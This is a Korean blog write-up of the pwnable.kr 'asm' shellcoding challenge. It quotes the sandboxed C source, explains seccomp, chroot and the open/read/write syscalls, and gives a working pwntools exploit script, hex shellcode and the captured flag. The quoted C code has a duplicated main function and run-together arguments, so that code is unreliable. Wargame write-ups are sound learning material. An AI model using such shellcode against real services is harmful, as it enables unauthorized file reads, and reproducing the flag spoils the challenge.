본문 바로가기
[ ★ ]Study/War Game

[Toddler's Bottle] pwnable.kr asm 풀이

by nroses-taek 2017. 9. 16.
반응형

 

 
readme 읽으거리가 있네요.
9026포트로 실행해서 flag 얻고, 심지어 플래그 이름은 끔찍하게
list 있는거랑 똑같다네요.
시작하기 전에 pwntools 쉘코드를 간단하게 만들 있는데, 저희는 직접 정석으로 해보는 걸로 하겠습니다.
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
 
#define LENGTH 128
 
void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }
 
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
 
    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}
 
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");
 
    char* sh = (char*)mmap(0x414140000x10007, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 00);
    memset(sh, 0x900x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
int main(int argc, char* argv[]){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");
 
    char* sh = (char*)mmap(0x414140000x10007, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 00);
    memset(sh, 0x900x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
cs
 
print문으로 게임을 설명해주네요.
 
mmap으로 메모리 맵을 생성합니다.
 
chroot 관한 설명
https://unix.stackexchange.com/questions/105/chroot-jail-what-is-it-and-how-do-i-use-it 참고 매우 설명되어있다. 간단히 설명하자면, 프로세스의 고립이라고 보면 편하다. 프로그램은 지정된 디렉터리 밖의 파일들의 이름을 지정할 없으므로 chroot jail 이라고 많이 불린다.
 
sandbox() 함수를 호출합니다.
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }
 
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
 
    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}
cs
 
seccomp이란 secure computing mode 약자입니다. 리눅스 커널에서 애플리케이션 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능입니다.  system call 통해 기능을 활성화 시키면, 이를 호출한 프로세스에 있는 모든 fd들에 대해서 read, write, exit, sigreturn 제외한 모든 system call 호출이 불가능 해집니다. 만약 다른 시스템 호출을 시도한다면, 커널이 SIGKILL 프로세스를 종료시킵니다. , 시스템의 자원을 가상화하는 것이 아니라 프로세스를 고립시키는 것이라고 있습니다.
 
seccomp_rule_add 새로운 필터 규칙을 추가하는 것입니다.
인자로 SCMP_ACT_ALLOW 필터 규칙에 맞으면 허락을 한다는 뜻입니다.
그에 알맞은 쌍으로는 SCMP_SYS() 되겠습니다. SCMP_SYS 원래 __NR_syscall이라는 정규 값인데, Multi architectures 에서는 적절하게 작동시키기위해 SCMP_SYS매크로가 추천됩니다. ! 괄호안에 있는 syscall 직접적으로 부른다는 뜻입니다.
 
다시 문제로 돌아와서
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
명시된 함수를 이용해서 플래그를 찾을 있는 쉘코드를 만드는게 목표입니다.
 
우선 우리는 open(), read(), write() 함수를 공부해볼 필요가 있습니다.
 
■ OPEN
<fcntl.h>
open(const char *pathname, int flags, mode_t mode);

pathname : 대상 파일 이름
flags : 파일을 어떤 형식으로 것인가
mode : 파일 권한 설정
파일을 open 사용되는 시스템함수입니다. open()함수는 리턴으로 int 정수를 반환합니다. 0보다 작은 값이 반환되면 파일 열기에 실패한 것입니다.
 
flags
내용
O_RDONLY
읽기 전용
O_WRONLY
쓰기 전용
O_RDWR
읽기, 쓰기 모두
O_CREAT
파일 없을 경우 파일 생성
O_EXCL
파일 존재지 error 리턴
O_TRUNC
기존의 파일 내용 모두 삭제
O_APPEND
파일을 추가하여 쓰기가 되도록 open후에 쓰기 포인터가 파일의 끝에 위치하게 된다.
O_SYNC
쓰기를 , 실제 쓰기가 완료될 때까지 기다린다.
 
mode
내용
S_IRWXU
00700 파일소유자에게 r, w,x 권한 부여
S_IRUSR
00400 사용자에게 읽기 권한 부여
S_IWUSR
00200 사용자에세 쓰기 권한 부여
S_IXUSR
00100 사용자에게 실행 권한 부여
등등 있습니다.
 
■ READ
설명하기 앞서, fd
파일 디스크립터는 파이프, FIFO, 소켓, 터미널, 디바이스, 일반파일 등 종류에 상관없이 모든 열려있는 파일을 참조할때 쓴다.
 
파일디스크립터 
목적 
POSIX 이름 
stdio 스트림 
 0
 표준 입력
 STDIN_FILENO
 stdin
 1
 표준 출력
 STDOUT_FILENO
 stdout
 2
 표준 에러
 STDERR_FILENO
 stderr
 
표에 있는 3가지 디스크립터는 프로그램이 시작할때 셸의 디스크립터의 복사본을 상속 받고, 셸은 보통 3가지 파일 디스크립터가 언제나 열린채로 동작 한다.
프로그램에서 파일 디스크립터를 참조할때는 번호(0,1,2)를 쓸 수도 있지만 가능하면 "UNISTD.H"에 정의된 POSIX 이름을 쓰는편이 좋다..
 
출처: http://dev-ahn.tistory.com/96 [Developer Ahn]
 
ssize_t read(int fd, void *buf, size_t nbytes);
실패시 : -1 반환
fd = 데이터를 전송해 주는 대상을 가리키는 fd
buf = 수신한 데이터를 저장할 버퍼를 가리키는 포인터
nbytes = 수신할 최대 바이트수
 
open read만을 이용해서 정말 간단하게 예시하나 아래에 있습니다.

readme 라는 파일안에는 "success !" 라는 내용이 있었겠죠 ?
 
■ WRITE
<unistd.h>
ssize_t write(int fd, const void *buf, size_t n)

fd : 파일 디스크립터
void *buf : 파일에 쓰기를 내용을 담은 버퍼
size_t n 쓰기할 바이트 개수
반환 : 실패시 -1 반환
 
정말 간단한 예제

 
 
==========================
이제 pwnable.kr 환경에 맞게 공부를 해보도록 하겠습니다.

플래그 이름도 동일하게 하고 open read 했을시에 문제없이 읽히는 것을 있습니다.
open read 어셈으로 하나하나 바꾸어 주면 되겠지요…
 
진짜 고생끝에 낙이라도 알았는데, 처음 말했듯이 정석의 길은 아직 같습니다.. 
하하… pwntools 풀어보고 어셈에 대해서 공부해야겠네요.
pwnable 서버가 NASM 설치가 되어있었더라면 수월했을라나… .s 는 
결과적으로 open때문에 답답하네요 … ㅎㅎ..
 
 
http://docs.pwntools.com/en/stable/index.html pwntools 기능들이랑 사용법 찾아볼 있습니다.
 
<초기 코드>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
context.arch = 'amd64'
 
filename = 0x41414100
flag = 0x41414200
 
pay=''
pay += asm(shellcraft.amd64.linux.syscall('SYS_read',0,filename,0x100))
pay += asm(shellcraft.amd64.linux.syscall('SYS_open',filename,0,0x400))
pay += asm(shellcraft.amd64.linux.syscall('SYS_read','rax',flag,0x200))
pay += asm(shellcraft.amd64.linux.syscall('SYS_write',1,flag,0x300))
 
print pay.encode('hex')
cs
 
context 명시를 해주면 좋다네요. 필수는 아닌가 봅니다.
비어있는 부분들을 이용해서 asm 해줍시다. 옵션도 달아주고요.
 
31c031ff31d2b601be0101010181f6014040400f056a0258bf0101010181f70140404031d2b60431f60f054889c731c031d2b602be0101010181f6014340400f056a01586a015f31d2b603be0101010181f6014340400f05
 
값이 나옵니다.
 
추가로 pwntools 디버거를 붙일 있는데, 상세 정보 로그 출력(output verbose log)이라고 context.log_level = 'debug' 하면 값들을 있다고 합니다.
 
최종 결과
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
context.log_level = 'debug'
context.arch = 'amd64'
 
HOST = '0.0.0.0'
PORT = 9026
 
filename='this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\0'
 
cn = remote(HOST, PORT)
cn.recvuntil('shellcode: ')
 
 
p_filename = 0x41414200
p_flag = 0x41414300
pay=''
pay += asm(shellcraft.amd64.linux.syscall('SYS_read',0,p_filename,0x100))
pay += asm(shellcraft.amd64.linux.syscall('SYS_open',p_filename,0,0x400))
pay += asm(shellcraft.amd64.linux.syscall('SYS_read','rax',p_flag,0x200))
pay += asm(shellcraft.amd64.linux.syscall('SYS_write',1,p_flag,0x300))
 
payload = pay.encode('hex')
print payload
payload = payload.decode('hex')
 
 
cn.send(payload)
cn.send(filename)
 
print cn.recvuntil('\x0a')
cs
 
 

 
Mak1ng_shelLcodE_i5_veRy_eaSy
 
어려웠네요 이번에는… 여러 문서들을 너무 많이 참고했다 @@....
 
<추가>
다른 사람 풀이
 

 
이런 코드가 하나 있더군요.
간단히 nc 0 9026으로 연결을 시켰습니다.
파일이름을 push했네요.
문자열이 스택 RSP 위에 존재하면 open 하게 됩니다.
그리고… read보시면 RSP 버퍼의 길이100바이트만큼 읽습니다.
다음보시면 write(1 봐서 출력하는 것으로 있습니다.
 
매우 간단하네요 !?
 
그래도 시간되면 Tool 아닌 gcc 이용해서 해보도록 해봐야겠습니다.
그냥 재밌어요 나름 ..?


반응형

댓글